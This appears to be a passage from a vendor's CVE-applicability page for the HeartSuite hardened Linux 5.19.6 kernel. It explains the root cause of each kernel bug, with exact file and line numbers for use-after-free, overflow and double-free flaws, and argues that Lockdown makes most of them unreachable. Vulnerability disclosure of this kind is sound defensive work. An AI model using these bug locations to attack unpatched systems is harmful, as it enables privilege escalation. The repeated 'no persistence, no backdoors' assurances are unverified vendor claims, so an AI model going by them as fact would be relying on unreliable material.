Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist Affected range: pre-fix Upstream fix: 6.8 series

When perf-record with a large AUX area, e.g. 4GB, it fails with: #perf record -C 0 -m ,4G -e arm_spe_0// -- sleep 1 failed to mmap with 12 (Cannot allocate memory). The perf AUX area mmap handler in kernel/events/core.c:6269–6345 calculates memory accounting limits and calls rb_alloc_aux() to allocate the backing pages. For very large AUX areas (gigabytes), the accounting arithmetic at line 6285 (user_locked += user_extra) can underflow or produce incorrect values when user_extra is extremely large (e.g., 1M pages for 4GB). The mmap() still succeeds despite the accounting failure, allowing unprivileged users to bypass RLIMIT_MEMLOCK restrictions and exhaust kernel memory. The HS 5.19.6 kernel carries the unpatched AUX area accounting at kernel/events/core.c:6269–6345.

CONFIG_PERF_EVENTS=y is compiled in and 5.19.6 falls within the affected range. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2023-52868

Status: Not exploitable Component: thermal management (CONFIG_THERMAL) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — thermal sysfs not accessible in HS allowlist; Lockdown blocks the trigger Affected range: pre-fix Upstream fix: 6.9 series

The dev->id value comes from ida_alloc(), so it is a number between zero and INT_MAX. In drivers/thermal/thermal_core.c, this ID is formatted into fixed-size THERMAL_NAME_LENGTH (20-byte) buffers using sprintf(). At line 681, sprintf(dev->attr_name, "cdev%d_trip_point", dev->id) produces a string of the form "cdev<N>_trip_point". For large IDs, the full string exceeds 20 bytes: "cdev2147483647_trip_point" is 25 characters plus a null terminator (26 bytes total), overflowing attr_name by 6 bytes. The same overflow applies at line 690 for sprintf(dev->weight_attr_name, "cdev%d_weight", dev->id), which produces up to 22 bytes into a 20-byte buffer. Both overflows corrupt adjacent kernel heap memory and can be leveraged for privilege escalation.

CONFIG_THERMAL=y is compiled in and 5.19.6 falls within the affected range. Thermal management is present on all x86 servers for CPU temperature control. Triggering the overflow requires registering a thermal cooling device with a sufficiently large ID — this path requires access to the thermal sysfs interface, which is not included in the HS allowlist. On a Root Lock by HeartSuite system in Lockdown, the kernel blocks any process without an allowlist entry from executing, so a standalone exploit tool cannot reach the thermal registration interface. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-36916

Status: Not exploitable Component: block I/O cost controller (CONFIG_BLK_CGROUP_IOCOST) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — iocost cgroup paths not in HS allowlist; Lockdown blocks the trigger Affected range: pre-fix Upstream fix: 6.9 series

UBSAN catches undefined behavior in blk-iocost, where sometimes iocg->delay is shifted right by a number that is too large, resulting in undefined behavior on some architectures. Two sites in block/blk-iocost.c are affected: line 1338 computes iocg->delay >> div64_u64(tdelta, USEC_PER_SEC), where the divisor is elapsed time in seconds — if the delay has been active for 64 or more seconds, the shift amount reaches or exceeds 64, which is undefined behavior for a 64-bit type under the C standard. Line 2112 performs iocg->delay >> nr_cycles, where nr_cycles can similarly exceed 63. On x86 the shift wraps, but on other architectures the result is indeterminate. Incorrect delay values can bypass I/O throttling controls or cause the cgroup I/O cost model to make scheduling decisions based on garbage data.

CONFIG_BLK_CGROUP_IOCOST=y is compiled in and 5.19.6 falls within the affected range. The blk-iocost controller is active whenever cgroups are in use with I/O cost weighting enabled. Configuring iocost requires writing to cgroup control files under /sys/fs/cgroup/ — no cgroup management tool that exposes iocost configuration appears in the HS allowlist. On a Root Lock by HeartSuite system in Lockdown, the kernel blocks any process without an allowlist entry from executing, so a standalone exploit tool cannot reach the iocost configuration path. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-38560

Status: Not exploitable Component: Brocade bfa SCSI driver (CONFIG_SCSI_BFA) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

Currently, we allocate a nbytes-sized kernel buffer and copy nbytes from userspace to that buffer. In drivers/scsi/bfa/bfad_bsg.c, the BSG passthrough handler at line 3373 allocates kzalloc(bsg_data->payload_len, GFP_KERNEL) where payload_len comes directly from the user-supplied BSG request structure, with no upper-bound validation. Line 3379 then calls copy_from_user(..., bsg_data->payload_len) using the same unchecked value. An attacker with access to the BSG device node can supply an oversized payload_len to exhaust kernel memory or, with a carefully chosen value, produce a heap overflow.

CONFIG_SCSI_BFA is not set in the HS 5.19.6 configuration. The Brocade bfa Fibre Channel HBA driver — including the vulnerable bfad_bsg.c BSG handler — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-38588

Status: Not exploitable Component: kprobes (CONFIG_KPROBES) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — kprobe registration not in HS allowlist; Lockdown blocks the exploitation trigger Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In kernel/trace/ftrace.c, ftrace_location() at line 1577 calls lookup_rec(ip, ip) at line 1583 to obtain a dyn_ftrace *rec pointer without holding ftrace_lock. On a concurrent path, module unloading frees the pages that back ftrace records for module functions. If a module is removed between the lookup_rec() return and the return rec->ip dereference at line 1594, the pointer references freed memory. The race is reached through the kprobe registration path: check_kprobe_address_safe() → check_ftrace_location() → ftrace_location() — all called without the lock that serialises ftrace record lifetime.

CONFIG_KPROBES=y is compiled in. Triggering the bug requires CAP_SYS_ADMIN to register a kprobe — the attack path runs through check_kprobe_address_safe() → check_ftrace_location() → ftrace_location(). No Root Lock by HeartSuite Root Lock by HeartSuite deployment permits any service to register kprobes. Without an allowlist entry covering the kprobes interface, the kernel refuses access. An attacker who has already gained root cannot add one: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-40901

Status: Not exploitable Component: LSI/Avago mpt3sas SCSI driver (CONFIG_SCSI_MPT3SAS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/scsi/mpt3sas/mpt3sas_scsih.c, the pd_handles bitmap is allocated as (ioc->facts.MaxDevHandle / 8) bytes (rounded up) via kzalloc() at mpt3sas_base.c:8312. The test_bit() function accesses bitmaps in unsigned long-sized units (8 bytes on 64-bit kernels). When the allocation is smaller than sizeof(unsigned long) — for example a single byte when MaxDevHandle is 8 — calls such as test_bit(sas_device->handle, ioc->pd_handles) at line 1942 and test_bit(handle, ioc->pd_handles) at line 4106 read 7 bytes beyond the heap allocation, producing a slab out-of-bounds read.

CONFIG_SCSI_MPT3SAS is not set in the HS 5.19.6 configuration. The LSI/Avago mpt3sas SAS/SATA/NVMe HBA driver — including the vulnerable mpt3sas_scsih.c bitmap access paths — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-40978

Status: Not exploitable Component: QLogic qedi iSCSI driver (CONFIG_SCSI_QEDI) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/scsi/qedi/qedi_debugfs.c, qedi_dbg_do_not_recover_cmd_read() at line 128 calls sprintf(buffer, "do_not_recover=%d\n", qedi_do_not_recover) where buffer is the char __user * argument passed directly from the debugfs file read handler. sprintf() writes to a kernel virtual address rather than staging data in a kernel buffer first; on a system with SMAP (Supervisor Mode Access Prevention) enabled, the kernel write to a userspace pointer faults immediately and panics the kernel. The correct fix is to stage into a kernel buffer and use simple_read_from_buffer() to copy to userspace.

CONFIG_SCSI_QEDI is not set in the HS 5.19.6 configuration. The QLogic qedi iSCSI HBA driver — including the vulnerable qedi_dbg_do_not_recover_cmd_read() debugfs handler — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-41092

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In the i915 GT reset path, intel_gt_handle_error() at intel_reset.c:1309 calls synchronize_srcu_expedited() at line 1285 on gt->reset.backoff_srcu to drain concurrent SRCU readers before the GPU reset proceeds. The GuC engine failure worker (reset_fail_worker_func at intel_guc_submission.c:4485) queues via queue_work() at line 4545 and calls intel_gt_handle_error() asynchronously. A race between this deferred reset path and the hangcheck heartbeat — as reproduced by igt@i915_selftest@live@hangcheck on ADL-P (GuC submission) — can reach reset_prepare_engine() at intel_reset.c:743 and the WW-mutex backoff context via i915_gem_ww_ctx_backoff() (i915_gem_ww.c:42) after the owning structure has already been freed, producing a use-after-free.

CONFIG_DRM_I915=y is compiled in and HS 5.19.6 falls within the affected range. No Intel integrated or discrete display GPU is present on a standard Debian 11 server deployment. Without display hardware the DRM device nodes are not created, the GPU submission paths are not initialised, and the GuC engine failure worker that triggers this race is never scheduled. The vulnerable code path cannot be reached.

On a HeartSuite system with this hardware installed, Lockdown’s constraints would still apply after any escalation: FS_IOC_SETFLAGS returns EPERM (kernel/ioctl.c:561–569), every mount path returns EPERM (kernel/namespace.c:4218, 4300, 4453), and allowlist modification is blocked at hs_sandbox_caching.c:1942. Lockdown independently prevents any unauthorised program — including a backdoor dropped post-exploit — from executing regardless of file ownership or capability bits.

CVE-2024-42136

Status: Not exploitable Component: CD-ROM subsystem (CONFIG_CDROM) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CD-ROM drive absent on server Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/cdrom/cdrom.c, cdrom_read_cd() at line 2080 computes cgc->buflen = blocksize * nblocks and cdrom_read_block() at line 2104 computes cgc->buflen = blksize * nblocks. Both operands are int parameters, so the multiplication is evaluated as a signed 32-bit expression before being stored in the unsigned int buflen field of struct packet_command. When syzkaller passes a large nblocks value — for example, greater than 912,000 with the common CD_FRAMESIZE_RAW = 2352 block size — the intermediate product exceeds INT_MAX, signed integer overflow occurs, and an incorrect (smaller) buffer length is stored in cgc->buflen.

CONFIG_CDROM=y is compiled in and HS 5.19.6 falls within the affected range. No optical drive is present on a standard Debian 11 server deployment. Without this hardware the CD-ROM device nodes are not created and the ioctl paths that call cdrom_read_cd() and cdrom_read_block() are never reached. The vulnerable code path cannot be triggered.

On a HeartSuite system with an optical drive installed, Lockdown’s constraints would still apply after any escalation: FS_IOC_SETFLAGS returns EPERM (kernel/ioctl.c:561–569), every mount path returns EPERM (kernel/namespace.c:4218, 4300, 4453), and allowlist modification is blocked at hs_sandbox_caching.c:1942. Lockdown independently prevents any unauthorised program — including a backdoor dropped post-exploit — from executing regardless of file ownership or capability bits.

CVE-2024-44985

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In net/ipv6/ip6_output.c, ip6_finish_output2() saves idev = ip6_dst_idev(dst) at line 63. At line 72, skb_expand_head(skb, hh_len) makes room for the link-layer header; when allocation fails, skb_expand_head() frees the original skb and returns NULL. The idev pointer saved before the call now references memory associated with the freed skb. At line 74, IP6_INC_STATS(net, idev, IPSTATS_MIB_OUTDISCARDS) dereferences the stale idev — a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. Any local process that sends IPv6 network traffic can trigger the vulnerable allocation failure paths; no capability gate is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-44986

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In net/ipv6/ip6_output.c, ip6_xmit() saves idev = ip6_dst_idev(dst) at line 256. At line 271, skb_expand_head(skb, head_room) expands the buffer to accommodate the IPv6 header and IP options; when allocation fails, the original skb is freed and NULL is returned. The idev pointer is now stale. At line 273, IP6_INC_STATS(net, idev, IPSTATS_MIB_OUTDISCARDS) dereferences freed memory — a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. Any local process that sends IPv6 network traffic can trigger the vulnerable allocation failure paths; no capability gate is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-44987

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In net/ipv6/ip6_output.c, ip6_send_skb() at line 1943 saves rt = (struct rt6_info *)skb_dst(skb) without holding rcu_read_lock(). At line 1946, ip6_local_out() transmits the packet and may consume the skb, releasing the associated route. If ip6_local_out() returns a non-zero error code, lines 1951–1952 dereference rt->rt6i_idev — but rt is an RCU-protected pointer and may be freed before the dereference. Holding rcu_read_lock() for the duration of the rt dereference is required.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and HS 5.19.6 falls within the affected range. Any local process that sends IPv6 network traffic can trigger the vulnerable allocation failure paths; no capability gate is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-46673

Status: Not exploitable Component: Adaptec aacraid SCSI driver (CONFIG_SCSI_AACRAID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

aac_probe_one() at drivers/scsi/aacraid/linit.c:1577 calls the hardware-specific init function pointer from aac_driver_ident, which eventually calls aac_init_adapter() at comminit.c:510. On failure, aac_init_adapter() frees dev->queues internally at line 644 (on aac_comm_init() failure) or line 651 (on aac_fib_setup() failure) before returning NULL. The aac_probe_one() error path at linit.c:1798 then calls kfree(aac->queues) a second time on the same pointer — a double-free.

CONFIG_SCSI_AACRAID is not set in the HS 5.19.6 configuration. The Adaptec aacraid RAID controller driver — including the vulnerable aac_probe_one() and aac_init_adapter() paths — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-46746

Status: Not exploitable Component: AMD Sensor Fusion Hub HID driver (CONFIG_AMD_SFH_HID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/hid/amd-sfh-hid/amd_sfh_client.c, the error cleanup path calls devm_kfree(dev, cl_data->report_descr[i]) at lines 259 and 276 to free the HID report descriptor before hid_destroy_device() at line 178. The amdtp_hid_parse() callback at amd_sfh_hid.c:32 accesses cli_data->report_descr[hid_data->index] during device initialisation or tear-down. If the descriptor is freed before hid_destroy_device() has completed its disconnect sequence — and the callback fires in that window — it dereferences freed memory.

CONFIG_AMD_SFH_HID is not set in the HS 5.19.6 configuration. The AMD Sensor Fusion Hub HID driver — including the vulnerable amd_sfh_client.c cleanup path and amdtp_hid_parse() callback — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-46747

Status: Not exploitable Component: Cougar HID driver (CONFIG_HID_COUGAR) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

cougar_report_fixup() at drivers/hid/hid-cougar.c:109 reads rdesc[2], rdesc[3], rdesc[115], and rdesc[116], and conditionally writes to rdesc[115]–rdesc[116] at lines 113–114, without first checking that *rsize >= 117. If the Cougar 500k Gaming Keyboard presents a report descriptor shorter than 117 bytes, the fixed-offset accesses go beyond the descriptor buffer, producing an out-of-bounds memory read/write.

CONFIG_HID_COUGAR is not set in the HS 5.19.6 configuration. The Cougar HID driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-46798

Status: Not exploitable Component: ALSA rawmidi subsystem (CONFIG_SND_RAWMIDI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_RAWMIDI not compiled Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In sound/core/rawmidi.c, snd_rawmidi_drain_output() at line 224 saves runtime = substream->runtime at line 228, then calls wait_event_interruptible_timeout(runtime->sleep, ...) at line 232, waiting up to 10 seconds for the output buffer to drain. If close_substream() runs concurrently and calls snd_rawmidi_runtime_free(substream) at line 528 — freeing substream->runtime — while the drain wait is still sleeping, the runtime pointer saved at line 228 becomes dangling. When the wait exits, accesses to runtime->avail and runtime->buffer_size at line 237 use freed memory.

CONFIG_SND_RAWMIDI is not compiled in the HS 5.19.6 configuration — no enabled driver selects it. The vulnerable rawmidi.c code path does not exist on this system.

CVE-2024-46849

Status: Not exploitable Component: Amlogic Meson ASoC driver (CONFIG_SND_MESON_CARD_UTILS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In sound/soc/meson/axg-card.c, axg_card_add_loopback() at line 107 saves pad = &card->dai_link[*index] — a pointer into the current dai_link array. At line 113, meson_card_reallocate_links() calls krealloc() on card->dai_link, potentially moving the array to a new address and freeing the original buffer. At lines 119 and 133, pad->name and pad->cpus->of_node are accessed through the now-dangling pad pointer. The fix moves the pad assignment to after the reallocation, where card->dai_link has been updated.

CONFIG_SND_MESON_CARD_UTILS is not compiled in the HS 5.19.6 configuration — the Amlogic Meson ASoC platform requires ARCH_MESON which is not set on x86. The vulnerable code path does not exist on this system.

CVE-2024-47682

Status: Not exploitable Component: SCSI subsystem (CONFIG_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — non-conformant VPD firmware absent; standard SAS/SATA drives conform to SCSI spec Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

If a device returns VPD page 0xb1 with a length of exactly 8 bytes (as QEMU v2.x does), sd_read_block_characteristics() proceeds past the guard at drivers/scsi/sd.c:2921 (vpd->len < 8), then reads vpd->data[8] at line 2927. With len == 8 the valid indices are 0–7; index 8 is one byte past the end of the buffer.

CONFIG_SCSI=y is compiled in and HS 5.19.6 falls within the affected range. The OOB read occurs during device enumeration when a SCSI disk returns VPD page 0xb1 with a length of exactly 8 bytes — behaviour documented in QEMU v2.x, not present on production SAS/SATA/NVMe drives. Standard enterprise storage conforms to the SCSI VPD specification and returns page 0xb1 with the correct length. On a Root Lock by HeartSuite server deployment, no non-conformant storage device is present; the OOB read path in sd_read_block_characteristics() is never reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-47701

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

When ext4 searches an inlined directory, ext4_find_inline_entry() at fs/ext4/inline.c:1709 calls ext4_get_inline_xattr_pos() to locate the extended-attribute portion of the inline data. At inline.c:1077, that function returns IFIRST(header) + le16_to_cpu(entry->e_value_offs) without validating that the offset stays within the inode body buffer. A crafted block device can supply an e_value_offs that pushes the resulting pointer out of bounds; that pointer is then passed directly to ext4_search_dir() at line 1712, causing an OOB memory access.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; inlined directory processing runs for any small directory during normal operation. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49852

Status: Not Affected — CONFIG_SCSI_EFCT not compiled Component: Emulex EFC FC driver (CONFIG_SCSI_EFCT) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_EFCT not compiled in HS kernel

The kref_put() function will call nport->release if the refcount drops to zero. The nport->release release function is_efc_nport_free() which frees “nport”

CONFIG_SCSI_EFCT is not set in the HS 5.19.6 configuration. The Emulex EFC Fibre Channel target driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-49882

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In ext4_ext_try_to_merge_up() at fs/ext4/extents.c:1871, brelse(path[1].p_bh) releases the depth-1 extent block buffer but leaves path[1].p_bh non-NULL. When the caller subsequently runs cleanup via ext4_ext_drop_refs(), it iterates the path and calls brelse() on every non-NULL p_bh, releasing the same buffer head a second time — a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; extent tree merge-up runs during any truncate or extent modification on a two-level extent tree. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49883

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In ext4_ext_insert_extent() at fs/ext4/extents.c:2094, the call to ext4_ext_create_new_leaf() may internally call ext4_ext_grow_indepth(), which reallocates the path array via kcalloc(). After the call returns, the caller continues using the original path pointer — now stale — causing a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; extent insertion runs during any file write that extends or modifies the extent tree. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49884

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

In ext4_split_extent_at() at fs/ext4/extents.c:3178, the function saves the path pointer as path = *ppath. At line 3248 it calls ext4_ext_insert_extent(handle, inode, ppath, ...), which may reallocate *ppath, freeing the memory that path still points to. Subsequent uses of path at lines 3281, 3282, 3301, and 3304 — in both the success and error-recovery branches — dereference the now-freed pointer, constituting a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; extent splitting is triggered during any write that bisects an existing extent. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49889

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

ext4_find_extent() at fs/ext4/extents.c:874 takes an optional **orig_path argument allowing callers to reuse an existing path allocation. On two code paths it frees the old allocation: when the tree depth has grown beyond the cached maximum (lines 898–901, kfree(path); *orig_path = NULL) and on any I/O or corruption error (lines 953–957, same sequence). Callers that save a local path = *ppath copy before invoking a sub-function that internally calls ext4_find_extent() — such as ext4_split_convert_extents() — retain a pointer to the freed memory. Subsequent use of that stale pointer constitutes a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and HS 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server; any extent-modifying write that triggers a tree depth change or encounters a read error while holding a saved path pointer is a triggering condition. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2024-49960

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; do_mount() returns EPERM Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In ext4_fill_super() (fs/ext4/super.c), timer_setup(&sbi->s_err_report, ...) runs at line 4995 and INIT_WORK(&sbi->s_error_work, flush_stashed_error_work) at line 4997. During the failed_mount3: error-unwind at line 5454, flush_work(&sbi->s_error_work) is called at line 5456 immediately before del_timer_sync(&sbi->s_err_report) at line 5457. The work callback flush_stashed_error_work can call mod_timer on s_err_report, arming the timer during the same unwind that is about to cancel it. When the code path passes through failed_mount_wq: (line 5439), flush_work runs a second time at line 5448 before falling through to failed_mount3:, doubling the exposure. Syzbot detected this as an ODEBUG (Object Debug) object-state inconsistency.

